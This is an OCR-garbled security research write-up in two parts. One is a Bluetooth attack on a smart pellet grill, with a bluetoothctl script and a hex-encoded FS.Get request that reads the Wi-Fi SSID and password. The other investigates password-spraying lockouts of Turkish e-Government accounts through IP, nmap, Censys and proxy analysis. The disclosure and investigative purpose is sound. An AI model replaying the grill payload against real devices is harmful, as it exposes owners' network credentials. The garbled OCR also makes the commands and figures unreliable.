68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22 0x2c 0x22 0x70
0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6C 0x65 O0x6e 0x61 0
x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a 0x73 Ox6f 0x6e 0x2
2 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20 0x30 0x20 0x2c 0x20
0x22 0x6C 0x65 0x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20

P *[root/Desktop/send.sh - Mousepad

File Edit Search View Document Help
DEBEERE x S o Q& n

Warning: you are using the root account. You may harm your system.

1

2 bluetoothctl

3 devices

4 agent on

5 connect -

6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746c5f

7 gatt.write "0x00 0x00 0x00 0x55"

8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f

9 gatt.write "0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d
0x65 0x74 0x68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22
0x2c 0x22 0x70 0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6¢
0x65 0x6e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a
0x73 0x6f 0x6e 0x22 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20
0x30 0x20 0x2c 0x20 0x22 0x6C 0x65 0x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20"

10 gatt.read

11 gatt.read

12 EOF|



https://mongoose-os.com/docs/mongoose-os/userguide/configuration.md
https://opensource.com/resources/what-bash
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- e
File Edit View Go Capture Analyze Statistics Telephony Wirele

ADA® s BREB 2 « > 0 « > H

Source Protocol  Length Info

remote () ATT 16 Revd Write Response, Handle: ©x8033 (Unknown
localhost () 101 Sent Write Request, Handle: 0x802e (Unknown
controller | 8 Revd Number of Completed Packets

remote () 14 Revd Error Response - Invalid Offset, Handle:
localhost () 12 Sent Read Request, Handle: 0x002e (Unknown
controller | 8 Rcvd Number of Completed Packets

remote () 10 Revd Read Response, Handle: 0x002e (Unknown)
localhost () 16 Sent Write Request, Handle: 0x0033 (Unknown
controller 8 Rcvd Number of Completed Packets

remote () 10 Revd Write Response, Handle: 0x8033 (Unknown)
localhost () 97 Sent Write Request, Handle 02e (Unknown
controller 8 Rcvd Number of Completed P

s
remote () 10 Revd Write Response, Han 0x002e (Unknown
localhost () 12 Sent Read Request, Handl 002e (Unknown)

» Frame 144: 14 bytes on wire (112 bits) 02 4a 20 09 00 05 00 04 ©0 01 12 2e 00 07 J
» Bluetooth
» Bluetooth HCI H4
.. 0000 0100 1610 = Connection Hal
= PB Flag: Firs
BC Flag: Poin

Data
~ [Expert Info (Error/Protocol): Fram
[Frame is out of any "connection
[Severity level: Error]
[Group: Protocol]
[Source BD_ADDI
[Source Device

e el

® E Bluetooth: Protocol Packets: 709 - Displayed: 709 (100.0%) - Dropped: 0 (0.0%)

After doing some research, I learned that the “invalid offset”
error was triggered due to the size of command/payload. Later,
I decided to equalize the size of the 85-character init.js request
and the above 88-character conf9.json request. After
removing 3 space characters, the request took the following
form and became 85 characters in length.

{“id”:999,’method”:”FS.Get”,’params”:{“filename”:”conf9.
json”offset”:0,”len”:20}}

After sending this request to the grill, I saw that I was able to
successfully read the first 20 characters of the conf9.json file.
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Mert SARICA (mer... 4 Inbos -
Download CyberChet ¥ Last build: 7 days ago - Version 10 s here! Read about the new features here Options 8 About / Support @
Operations Recipe BmE nput +DO3 @@=
Search. From Base6d n e .
Favourites * -

Alphaber
A-Za-20-9+/=
To Ba:

Remove non-alphabet chars [ Strict mode

To
From Hex

To Hexdump -1 =1 Q17 Tr Raw Bytes € LF
From Hexdump Output Bo0mo
URL Decode

“device"s {

frervern: » ot us-en o

Data format

Encryption | Encoding STEP m Auto Bake
X i =6 g O T meytes e L

When I continued reading the file by incrementally increasing
the optional parameter Offset, I discovered that with the
following request, I was able to obtain the wireless network
name and password I had entered during the setup of the grill

application!

{“id”:999,’method”:”FS.Get”,’params”:{“filename”:”conf9.
json”offset”:280,”len”:99}}

BEEBE x > o axn Executed the
Narning: you are using the root account. You may harm your system. ~ (tTIGID@SHISCHPES

Tor00 0100 0100 o :
sfodef
Received the
response
encoded in

Aal

Edit View Help

Prepared the - L
command in hex for
bluetoothctl to send.

66 74 22 32 20 37 30 7d 7d

]
~/Deskco 2 2
shorgd CR2STZBS  Frame abytes)  Reassembled BTHCIACL (201 bytes)

Packets: 709 - Displayed: 709 (100.0%)
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Censored SSID & S
WiFi password |

t
oo ST m Siote
w4 =7 Q2 @ oms T Ao

As a result of my security research, I uncovered this critical

Bytes e e,

vulnerability. By exploiting it, I demonstrated that a malicious
person could easily learn the wireless network name and
password of this brand and model of grill from a distance of
98 to 984 feet by sending requests. What’s surprising is that
for this vulnerability to be exploited, the grill only needed to
be plugged in and didn’t even have to be in the “POWER ON”
state.

While I may not know the exact number of households affected
by this vulnerability, statistics show that as of the beginning of
2021, there were approximately 100 million households using
grills in the United States. Considering that one in three
households used more than one grill, it’s safe to say that the
proliferation of such smart grills (IoT devices) poses significant

security risks.

After discovering this significant vulnerability, instead of
parting ways with my smart grill, I decided to move it to
the Wi-Fi Guest Network along with my other IoT devices,

ensuring that it wouldn’t spoil my appetite. Now I can continue

to enjoy delicious meals without any worries. (£


https://www.traeger.com/learn/grill-bbq-stats
https://usa.kaspersky.com/blog/guest-wifi/16271/
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As a precaution, I recommend not leaving your smart
grill plugged in when you’re not using it until the
manufacturer addresses this vulnerability.

Hope to see you in the following articles.

Note: I sent an email to the grill manufacturer about this
vulnerability on April 1st. Unfortunately, I have not received a

response yet.
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Responsible Vulnerability Disclosure for = " Pellet Grill © & B

Mert SARICA <mert sarica@gmail.com> © sat Apri,129AM (3daysago) ¥y € i
to support v

Dear Sir or Madam,

My name is Mert, and | am a seasoned i ho cond ity research and publishes them on my blog for the benefit and awareness of the

public.

According to various research, loT (intemet of things) devices, such as coffee machines, thermostats, smart speakers, smart bulbs, alarm systems, etc., might have
it ot-devi due to their limited software and hardware capabilties.

Recently | purchased an Il Il Pellet Grill from Home Depot two weeks ago. (By the way, | love cooking with my grill; it is fantastic!) | noticed that my grill as an loT
has Wi-Fi and Bluetooth features and can be controlled via a mobile app (http US&gI=US). After | went through to
installation procedure, | enrolled my grill into my Wi-Fi network.
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7. How Do They
Hack Turkish
e-Government

Accounts?

[powerkit_toc  title="Table = of Contents” depth="2"
min_count="4" min_characters="1000"]

Introduction

On October 25, 2023, at 11:46, I learned that my Turkish e-
Government Gateway account had been temporarily disabled
for one hour due to multiple unsuccessful login attempts with
the wrong password through the e-Government application

and warnings sent to my email address.

192
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Ust tiste basarisiz giris denemesi yaptiginiz
icin sifreniz gecici olarak kullanima
kapatiimistir.
25/10/2023 19:46:22 tarihi itibariyle sifreniz

otomatik olarak yeniden kullanima agilacaktir.

e-Devlet Sifresi

Sifremi Unuttum
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Although the likelihood of a threat actor guessing my long
and complex password was low, and I also use a two-step
authentication method on the e-Government Gateway, as a
security researcher, I decided to investigate how my account

was temporarily disabled.

Having started my professional career in 2005 as an Ethical
Hacker and Penetration Tester, conducting security tests for
web applications for years, I began examining the e-
Government Gateway login page as if I were a threat actor
attempting to hack my account.

For a threat actor to access my account, they needed to have
my TCKN (Turkish ID) information. Given that, as seen in

my article “Was Turkey’s e-Government Hacked?“, many of

our details circulate in the underground, obtained from various
sources over the years, I didn’t need to dwell on where and how
they found my TCKN information.

Could a threat actor with my TCKN information eventually
determine my password through brute force attack and reach
the two-step authentication stage? Did e-Government Gateway
not have a series of security measures to prevent this attack
technique, such as CAPTCHA or IP address blocking? To find
answers to these questions, I attempted to log into my e-

Government account with incorrect passwords. After two
unsuccessful attempts, a CAPTCHA control appeared, as
expected in a secure web application, and my account was
not disabled. So, how did the attacker manage to temporarily

disable my account?


https://en.wikipedia.org/wiki/White_hat_(computer_security)
https://en.wikipedia.org/wiki/White_hat_(computer_security)
https://www.mertsarica.com/was-turkeys-e-government-hacked/
https://attack.mitre.org/techniques/T1110/
https://support.google.com/a/answer/1217728?hl=en
https://en.wikipedia.org/wiki/IP_address
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@ giris.turkiye.gov.tr/Giris,

e-Devlet Kapisi
KIMLIK DOGRULAMA SISTEMI ooty gt
eviet Sifresi Mobil imza Elektronik imza T.C. Kimlik Karti internet Bankaciligi

T.C. Kimlik Numaranizi ve e-Devlet Sifrenizi kullanarak kimliginiz dogrulandiktan sonra isleminize
kaldiginiz yerden devam edebilirsiniz. e-Devlet Sifresi Nedir, Nasil Alinir?

Kimlik no veya sifre hatalidir. e-Devlet Kapisi profilinizde cep telefonunuz veya cep telefonu ile

birlite e-posta adresiniz kayiti ise (profilde tanimii olan giivenlik ayarlarina gore) sifrenizi

unuttugunuzda PTTye giderek yeni sifre zarfi almak zorunda degjsiniz. Sifrenizi kendiniz kolay
(@) ve 2! bir sekilde yenileyebilrsiniz. Sifrenizi unuttugunuzda altia yer alan "Sifremi Unutium”

dugmesine basarak sifre yenileme islemi yapabilirsiniz.

Youtube sayfamizdan (https:/lyoutu.befl9I6j002peE) sifre yenileme ile igili Kamu spotumuzu

izleyebilirsiniz.

T.C. Kimlik No I

* e-Devlet Sifresi

* e-Devlet sifrenizi unutmaniz durumunda dogruladiginiz cep
telefonunuzdan yenileme islemi yapabilirsiniz.

Giivenlik Kodu M_I 5

Liltfen resimde gordiginiiz karakterleri yaninda bulunan kutuya.

Resmi okuyamiyorsaniz, (izerine tklayarak yeni bir tane
olusturabilirsiniz.

Sifremi Unuttum

CAPTCHA (Completely Automated Public Turing
test to tell Computers and Humans Apart) is a type
of security measure known as challenge-response
authentication. CAPTCHA helps protect you from
spam and password decryption by asking you to
complete a simple test that proves you are human
and not a computer trying to break into a password
protected account. (Source: Google)

In an attempt to find an answer to this question, when I started
making unsuccessful login attempts to my e-Government
account from different IP addresses using a VPN, I observed
that my account was temporarily disabled for one hour on the
5th attempt. This once again demonstrated a security control

that should exist in a secure web application. It effectively


https://support.google.com/a/answer/1217728?hl=en
https://aws.amazon.com/what-is/vpn/
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prevents the detection of the password through a brute force
attack, which might target the account through possibly
hundreds or thousands of bots.

Who is the Target?

In recent months, due to my articles on WhatsApp Scammers

and Cryptocurrency Scammers, I've been able to thwart the

plans of scammers. In this cyber attack, I set out to determine
whether the threat actors had specifically targeted my account
or if they had coincidentally come across my account in a
password spraying attack targeting broad accounts.

In a password spray attack, the bad guys try the most
common passwords across many different accounts
and services to gain access to any password
protected assets they can find. Usually these span
many different organizations and identity providers.
For example, an attacker will use a commonly
available toolkit like Mailsniper to enumerate all of
the users in several organizations and then try
“P@$$word” and “Passwordl” against all of those

accounts. (Source: Microsoft)


https://en.wikipedia.org/wiki/Internet_bot
https://www.mertsarica.com/whatsapp-scammers/
https://www.mertsarica.com/exposing-pig-butchering-scam/
https://www.microsoft.com/en-us/microsoft-365/blog/2018/03/05/azure-ad-and-adfs-best-practices-defending-against-password-spray-attacks/

Attacker

How Password Spraying Works

Password123 ——j O « — JohnWick@987 —6
Password123 = * O * F— wiltsmith@123 —6

g O «b— @Bettyswifta21 —@

Password123

. O « |—TeslainSpace@123 —@

Elon Musk

Password123 —— O

Password123

Password123 \/

m
-
3

2

|

Image: Arkose Labs
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Target
>
:‘é Authentication

System

To find an answer to this question, I conducted a Google search

to see if there were other individuals like me whose e-

Government accounts had been temporarily disabled. Through

my search, I discovered that a significant number of people

have been subjected to such attacks since 2020.

1989\ Daha Fazla
© Tkama VY leatst

iris yapimaya calsidid

EDIT: Twitter'da yaptigim aramada birgok kisiye benzer Ip'lerden VPN ile saldir olmus.

< Bu mesa) bu kil tarafindan dedistid RoseCity — 16 Ekim 2020; 20:27:14 >

Bizde Kal=asin

© Takip®

@SosgalDigibal
) sosyalEvin

Amazon Fresh Grocery Store
AmazonFresn 14

4


https://www.linkedin.com/pulse/credential-stuffing-vs-password-spraying-arkoselabs/
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aynadakiadam 2a0c:8dc6ieb1:2926:9560:33fc:238d:XXXCXXXX Sifre
LIS 21/02/2022 16:05:49 - Basarisiz 2a0c:8dc6:eb1:7bf7:223:66a4:6dab:21
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Bu IP adresinden onlari bulabilir miyim?

& Cevapla @ Etiketle

When I investigated the source of the IP addresses in these
screenshots, I found that some of them were originating from a
network called Tor, which is frequently used by cybercriminals
for anonymous communication.

171.25.193.78 - Tor Exit Node
185.220.100.252 - Tor Exit Node
185.220.101.46 — Tor Exit Node
77.68.20.217 — Tor Exit Node
104.244.73.193 - Tor Exit Node

Considering that this situation has occurred to many
individuals over the years, it is highly likely that it was not


https://en.wikipedia.org/wiki/Tor_(network)
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a targeted attack against me but rather a part of a password
spraying attack. To further investigate the IP addresses that
played a role in locking my account, I decided to broaden my
research.

Technical Investigation

Attackers’ IP Addresses

When I accessed my e-Government account immediately after
it was reopened, and began examining the History page, I
quickly noticed that the unsuccessful login attempts were made
using IPv6 addresses instead of IPv4.

Sifre Durumunuz

Son Degisiklik Tarihi [ —
Sonraki Degisiklik Tarihi u .

Son Basarisiz Giris Denemesi  Sifre 25/10/2023 18:46:22 (IP:2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067)

Sisteme Giris Gegmisiniz

Tarih Uygulama Sonug IP Adresi Tar
25/10/2023 20:18:01 - Basarili | N | Sifre
25/10/2023 18:46:22 - Basarisiz 2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067 Sifre
25/10/2023 18:46:18 - Basarisiz 2001:19f0:6801:8dd:daab:291b:a4d6:dfc7:41456 Sifre
25/10/2023 18:46:16 - Basarisiz 2001:19f0:8001:e5d:8404:4a87:e3cf:58ch:59377 Sifre
25/10/2023 18:46:10 - Basarisiz 2600:3¢03:2000:b44:ec11:517f:1d99:7cbc:37865 Sifre
25/10/2023 18:44:18 - Basarisiz 2001:19f0:8001:13a:f42d:4d56:deb9:c465:44215 Sifre
12/10/2023 19:48:33 - Basarisiz 2600:3c06:001:7ab:c6a6:9c89:949f:96f9:48360 Sifre

IP Addresses Lookup

When I checked the WHOIS information of the IPv6 addresses
through IPinfo, I found that all of them belonged to cloud
service providers named Vultr and Linode.

2001:19f0:6001:20f:9a7f:d317:¢645:37eb — Vultr
2001:19f0:6801:8dd:daab:291b:ad4d6:dfc7 — Vultr


https://turkiye.gov.tr/kullanim-gecmisi
https://en.wikipedia.org/wiki/IPv6_address
https://en.wikipedia.org/wiki/Internet_Protocol_version_4
https://ipinfo.io/
https://www.vultr.com/
https://www.linode.com/
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2001:19f0:8001:e5d:8404:4a87:e3cf:58cb — Vultr
2600:3¢03:e000:b44:ec11:517£:1d99:7cbc — Linode
2001:19f0:8001:13a:f42d:4d56:deb9:c465 — Vultr
2600:3c06:€001:7ab:c6a6:9¢89:949f:96f9 — Linode

Ports

When I scanned the IPv6 addresses for their most well-known
open ports using the nmap tool, I found that only the 22nd port,

associated with the SSH service, was open.

root@l Il -~# nmap -iL hosts.txt -6 -sV

Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-25 14:12 EDT
Nmap scan report for 2001:19f0:6001:20f:9a7f:d317:c645:37eb
Host is up (0.067s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2001:19f0:6801:8dd:daab:291b:a4d6:dfc7
Host is up (0.081s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2001:19f0:8001:e5d:8404:4a87:e3cf:58ch
Host is up (0.060s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2600:3c03:e000:b44:ec11:517f:1d99:7cbc
Host is up (0.00019s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2001:19f0:8001:13a:f42d:4d56:deb9: c465
Host is up (0.060s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.0 (protocol 2.0)

Journey from IPv6 to IPv4

When I used the nmap tool again (nmap -iL hosts.txt -6 -sV


https://nmap.org/
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—script ssh-hostkey.nse —script-args ssh_hostkey=all) to
search for the fingerprints of SSH services and queried Shodan,
I easily found the IPv4 addresses of these servers to gather
more information about them.

2001:19f0:6001:20f:9a7f:d317:c645:37eb
ssh-hostkey: b9:cb:48:39:52:d9:£2:83:d8:ba: 12:e9:9f:1d:55:21

2001:19f0:6801:8dd:daab:291b:a4d6:dfc7
ssh-hostkey: 41:4f:6f:b8:3e:96:c0:6e:28:d8:7e:£0:81:€9:10:99

2001:19f0:8001:e5d:8404:4a87:e3cf:58¢ch
ssh-hostkey: 20:¢1:8b:£9:06:9a:bc:€0:89:73:02:07:b3:71:b0:0b

2600:3¢03:€000:b44:ec11:517f:1d99:7cbc
ssh-hostkey: 1b:c3:d3:43:b5:b1:92:09:24:18:d3:d8:14:3f:34:fb

2001:19f0:8001:13a:f42d:4d56:deb9:c465
ssh-hostkey: 5d:2b:6d:11:c9:f5:€2:8f:99:bc:22a:30:19:63:90:3¢

#% SHODAN Explore  Pricing &

66.42.105.202

66.42.105.202 — b9:cb:48:39:52:d9:f2:83:d8:ba:12:€9:9f:1d:55:21
45.32.148.233 - 41:4f:61:b8:3e:96:c0:6€:28:d8:7e:f0:81:€9:10:99
137.220.33.75 - 20:¢1:8b:9:06:9a:bc:e€0:89:73:02:07:b3:71:b0:0b
143.42.185.244 — 1b:c3:d3:43:b5:b1:92a:09:24:18:d3:d8:14:3f:34:fb
104.207.158.196 -
5d:2b:6d:11:¢9:5:€2:81:99:bc:2a:30:19:63:90:3¢



https://www.shodan.io/search?query=b9%3Acb%3A48%3A39%3A52%3Ad9%3Af2%3A83%3Ad8%3Aba%3A12%3Ae9%3A9f%3A1d%3A55%3A21
https://www.shodan.io/search?query=41%3A4f%3A6f%3Ab8%3A3e%3A96%3Ac0%3A6e%3A28%3Ad8%3A7e%3Af0%3A81%3Ae9%3A10%3A99
https://www.shodan.io/search?query=20%3Ac1%3A8b%3Af9%3A06%3A9a%3Abc%3Ae0%3A89%3A73%3A02%3A07%3Ab3%3A71%3Ab0%3A0b
https://www.shodan.io/search?query=1b%3Ac3%3Ad3%3A43%3Ab5%3Ab1%3A9a%3A09%3A24%3A18%3Ad3%3Ad8%3A14%3A3f%3A34%3Afb
https://www.shodan.io/search?query=5d%3A2b%3A6d%3A11%3Ac9%3Af5%3Ae2%3A8f%3A99%3Abc%3A2a%3A30%3A19%3A63%3A90%3A3c
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Threat Research

The information gathered from the obtained IPv4 and IPv6
addresses, when searched on various platforms such as
VirusTotal, SOCRadar XTI, AlienVault OTX, resulted in
findings only on SOCRadar XTT.

According to the results, an end user system associated with
the server having the IP address 45.32.148.233, used by the
attacker, was compromised in May 2023. A malware named
Racoon, used for stealing information, operated on this system.

In 2022, another end user system associated with the same
IP address was infected with another information-stealing

malware called RedLine. All the stolen information was later

put up for sale on the Russian underground market.

Examining the content of the files obtained by the SOCRadar
Dark Web team, it became apparent that there was once a
phpMyAdmin, a database management tool, on the server. In
light of this information, threat actors might have had
unauthorized access to this server for a long time and could
have been using it in their attacks.


https://www.virustotal.com/
https://socradar.io/extended-threat-intelligence/
https://otx.alienvault.com/
https://socradar.io/raccoon-stealer-resurfaces-with-new-enhancements/
https://blog.f-secure.com/what-are-infostealers/
https://socradar.io/what-is-redline-stealer-and-what-can-you-do-about-it/
https://www.phpmyadmin.net/

LOGID-4704366
Name

> M Autofills

> M Cookies August 23, 20
R DomainDetects.txt August 23, 2022,

R ImportantAutofills.txt
B InstalledBrowsers.txt
B InstalledSoftware.txt
B Passwords.txt

= Screenshot.jpg

i Steam

R Userinformation.txt

[ B Passwords.txt
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*
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*
*
*
*
*

Telegram: https://t.me/
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When examining the IPv4 addresses on the search engine

named Censys and scanning the ports using the nmap tool, I

discovered that, unlike IPv6 scans, each server had nearly 2000

new ports, excluding port 22.


https://search.censys.io/
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cC o

censys

Q Hosts v

o

104.207.158.196

104.207.158.196

As of: Nov 12, 2023 1:33am UTC | Latest

J summary "D History

Basic Information
Reverse DNS
Routing
0s

Services (75)

-

Labels

o]

search.censys.

censys

@ wHoIs

104.207.158.196.vultrusercontent.com
104.207.156.0/22 via AS-CHOOPA, US (AS20473)
linux

22/SSH, 30005/HTTP, 30024/HTTP, 30025/HTTP, 30046/HTTP, 30120/HTTP, 30139/HTTP,
30153/HTTPR, 30159/HTTPR, 30216/HTTPR, 30227/HTTP, 30235/HTTP, 30266/HTTP,
30322/HTTP, 30333/HTTP, 30362/HTTPR, 30384/HTTP, 30386/HTTP, 30430/HTTPR,
30481/HTTP, 30487/HTTPR, 30574/HTTPR, 30591/HTTP, 30594/HTTP, 30596/HTTP,
30614/HTTPR, 30650/HTTPR, 30673/HTTPR, 30720/HTTP, 30752/HTTP, ...

TRUNCATED

Q Hosts v & | 143.42.185244

143.42.185.244

As of: Nov 11, 2023 10:57pm UTC | Latest

2 Summary

Basic Information
Reverse DNS
Forward DNS
Routing
os

Services (125)

—

Labels

‘D History

@ wHoIS # Explore

143-42-185-244.ip.linodeusercontent.com
143-42-185-244.ip.linodeusercontent.com, 143-42-185-244.ipv4.staticdns1.io
143.42.176.0/20 via AKAMAI-LINODE-AP Akamai Connected Cloud, SG (AS63949)
linux

22/SSH, 10000/HTTPR, 10001/HTTPR, 10006/HTTF, 10049/HTTPF, 10055/HTTP, 10060/HTTP,
10068/HTTP, 10081/HTTP, 10144/HTTPR, 10148/HTTP, 10193/HTTR, 10197/HTTR,
10220/HTTP, 10229/HTTP, 10238/HTTR, 10251/HTTP, 10252/HTTPR, 10254/HTTPR,
10258/HTTP, 10275/HTTP, 10285/HTTR, 10319/HTTP, 10328/HTTP, 10368/HTTP,
10382/HTTP, 10405/HTTP, 10408/HTTPR, 10442/HTTP, 10443/HTTF, ...

TRUNCATED )



0O search.censys.

censys
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Q Hosts v | # | 137.220.33.7§

137.220.33.75

As of: Nov 11, 2023 5:32pm UTC | Latest

CJ Summary O History [ WHOIS {4 Explore

Basic Information
Reverse DNS
Routing
0s

Services (154)

—

Labels

[a) search.censy:

censys

137.220.33.75.vultrusercontent.com
137.220.32.0/20 via AS-CHOOPA, US (AS20473)
linux

22/SSH, 42005/HTTPR, 42011/HTTP, 42022/HTTP, 42034/HTTP, 42036/HTTP, 42040/HTTP,
42042/HTTP, 42070/HTTP, 42116/HTTP, 42135/HTTP, 42136/HTTP, 42143/HTTR,
42167/HTTPR, 42172/HTTP, 42184/HTTPR, 42192/HTTP, 42218/HTTP, 42231/HTTP,
42256/HTTP, 42269/HTTP, 42299/HTTP, 42304/HTTP, 42307/HTTP, 42308/HTTP,
42309/HTTPR, 42311/HTTP, 42315/HTTP, 42381/HTTP, 42383/HTTP, ...

TRUNCATED

Q Hosts v & 45.32.148.233

45.32.148.233

As of: Nov 11, 2023 9:47pm UTC | Latest

J Summary D History @ WHOIS

Basic Information
Reverse DNS
Routing
0s

Services (154)

—

Labels

Explore

45.32.148.233.vultrusercontent.com

45.32.144.0/21 via AS-CHOOPA, US (AS20473)

linux

22/SSH, 22014/HTTP, 22016/HTTP, 22019/HTTP, 22029/HTTP, 22035/HTTP, 22038/HTTP,
22055/HTTP, 22082/HTTPR, 22107/HTTP, 22117/HTTP, 22122/HTTPR, 22123/HTTP,
22154/HTTP, 22160/HTTPR, 22164/HTTP, 22166/HTTP, 22168/HTTPR, 22172/HTTP,
22186/HTTP, 22187/HTTP, 22192/HTTR, 22210/HTTP, 22222/HTTP, 22224/HTTPR,
22225/HTTP, 22274/HTTP, 22277/HTTP, 22284/HTTP, 22288/HTTP, ..

TRUNCATED
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CcC 0 search.censys.io,
censys QHosts v | %+ | 66.42.105.202
As of: Nov 11, 2023 6:12pm UTC | Latest
(J Summary ' History [ WHOIS #i Explore
Basic Information
Reverse DNS 66.42.105.202.vultrusercontent.com
Routing 66.42.96.0/20 via AS-CHOOPA, US (AS20473)
0S linux
Services (105) 22/SSH, 14020/HTTP, 14022/HTTP, 14067/HTTPR, 14071/HTTP, 14079/HTTPR, 14127/HTTP,
14184/HTTPR, 14185/HTTP, 14218/HTTP, 14284/HTTPR, 14291/HTTP, 14302/HTTR,
14314/HTTP, 14318/HTTR, 14325/HTTPR, 14341/HTTP, 14351/HTTP, 14369/HTTR,
» 14385/HTTP, 14392/HTTR, 14397/HTTR, 14398/HTTP, 14401/HTTR, 14402/HTTR,
14407/HTTPR, 14417/HTTP, 14426/HTTPR, 14475/HTTP, 14484/HTTP, ...
Labels ( TRUNCATED
—
root@ Bl :-# cat nmap.txt
# Nmap 7.80 scan initiated Wed Oct 25 20:23:15 2023 as: nmap -sS -p 1-65535 -0G nmap.txt 45.32.148.233
Host: 45.32.148.233 (45.32.148.233.vultrusercontent.com) Status: Up
Host: 45.32.148.233 (45.32.148.233.vultrusercontent.com) Ports: 22/open/tcp//ssh///, 22000/open/tcp/

/snapenetio///, 22001/open/tcp//optocontrol///, 22002/open/tcp//optohost@@2///, 220@3/open/tcp//optohost@d3
///, 22004/open/tcp//optohost@@4///, 22005/open/tcp//optohost@d4///, 22006/open/tcp/////, 22007/open/tcp///
//, 22008/open/tcp/////, 220@9/open/tcp/////, 22010/open/tcp/////, 22011/open/tcp/////, 22012/open/tcp/////
, 22013/open/tcp/////, 22014/open/tcp/////, 22015/open/tcp/////, 22016/open/tcp/////, 22017/open/tcp/////
22018/open/tcp/////, 22019/open/tcp/////, 22020/open/tcp/////, 22021/open/tcp/////, 22022/0open/tcp//unknown
///, 22023/open/tcp/////, 22024/open/tcp/////, 22025/open/tcp/////, 22026/open/tcp/////, 22027/open/tcp////
/, 22028/open/tcp/////, 22029/open/tcp/////, 22030/open/tcp/////, 22031/open/tcp/////, 22032/open/tcp/////,
22033/open/tcp/////, 22034/open/tcp/////, 22035/open/tcp/////, 22036/open/tcp/////, 22037/open/tep/////, 2
2038/open/tcp/////, 22039/open/tcp/////, 22040/open/tcp/////, 22041/open/tcp/////, 22@42/open/tep/////, 220
43/open/tep/////, 22044/open/tcp/////, 22045/open/tep/////, 22046/open/tcp/////, 22047/open/tcp/////, 22048
/open/tcp/////, 22049/open/tcp/////, 22050/open/tcp/////, 22@051/open/tcp/////, 22052/open/tcp/////, 22053/0
pen/tcp/////, 22054/open/tcp/////, 22055/open/tcp/////, 22@56/open/tcp/////, 22057/open/tcp/////, 22@58/ope
n/tep/////, 22059/open/tcp/////, 22060/open/tcp/////, 22061/open/tcp/////, 22062/open/tep/////, 22063/open/
tcp//unknown///, 22064/open/tcp/////, 22065/open/tcp/////, 22066/open/tcp/////, 22067/open/tcp/////, 22068/
open/tcp/////, 22069/open/tcp/////, 2207@/open/tcp/////, 22071/open/tcp/////, 22072/open/tcp/////, 22073/op
en/tcp/////, 22074/open/tcp/////, 22075/open/tcp/////, 22076/open/tcp/////, 22077/open/tcp/////, 22078/open
/tep/////, 22079/open/tcp/////, 2208@/open/tcp/////, 22081/open/tcp/////, 22082/open/tcp/////, 22083/open/t
cp/////, 22084/open/tep/////, 22085/open/tcp/////, 22086/open/tcp/////, 22087/open/tcp/////, 22088/open/tcp
/////, 22089/open/tcp/////, 22090/open/tcp/////, 22@91/open/tep/////, 22092/open/tcp/////, 22@93/open/tcp//
///, 22094/open/tcp/////, 22@95/open/tcp/////, 22096/open/tcp/////, 22@97/open/tcp/////, 22098/open/tcp////
/, 22099/open/tcp/////, 22100/open/tcp//unknown///, 221@1/open/tcp/////, 22102/open/tcp/////, 221@3/open/tc
p/////, 221@4/open/tep/////, 221@5/open/tep/////, 221@6/open/tep/////, 22107/open/tcp/////, 22108/open/tcp/
////, 221@9/open/tep/////, 2211@/open/tcp/////, 22111/open/tep/////, 22112/open/tcp/////, 22113/open/tep///
//, 22114/open/tcp/////, 22115/open/tcp/////, 22116/open/tcp/////, 22117/open/tcp/////, 22118/open/tcp/////
, 22119/open/tcp/////, 2212@/open/tcp/////, 22121/open/tcp/////, 22122/open/tcp/////, 22123/open/tcp/////,
22124/open/tcp/////, 22125/open/tcp//dcap///, 22126/open/tcp/////, 22127/open/tcp/////, 22128/open/tcp//gsi
dcap///, 22129/open/tcp/////, 22130/open/tcp/////, 22131/open/tep/////, 22132/open/tep/////, 22133/open/tcp
/////, 22134/open/tcp/////, 22135/open/tcp/////, 22136/open/tep/////, 22137/open/tcp/////, 22138/open/tcp//

Having nearly 2000 open ports on a server is not a typical

configuration, so I decided to inspect these ports.

Usually, encountering such a large number of open ports on a
system is reminiscent of an open proxy server. Therefore, my
initial suspicion was towards a proxy server. As I continued
to examine the information about the IPv4 addresses used by


https://en.wikipedia.org/wiki/Open_proxy
https://en.wikipedia.org/wiki/Proxy_server
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the attacker on Censys, a line in the records related to the
IPv4 address 45.32.148.233 (Proxy-Connection: close)
immediately caught my attention, raising a new question in my
mind. Could these be similar to the open proxy servers that

were frequently encountered on the Internet in the early 2000s?

Anonymous proxy: This server reveals its identity as a
proxy server but does not disclose the originating IP
address of the client. Although this type of server can be
discovered easily, it can be beneficial for some users as it
hides the originating IP address. (Source: Wikipedia)

To find an answer to this question, I used the cURL tool to make

a request to the https://ifconfig.me/all webpage, specifying
the IPv4 address 45.32.148.233 and a random port (22939)
listed as a proxy server on Censys. Upon making the request,
I observed that the request from the proxy server to this
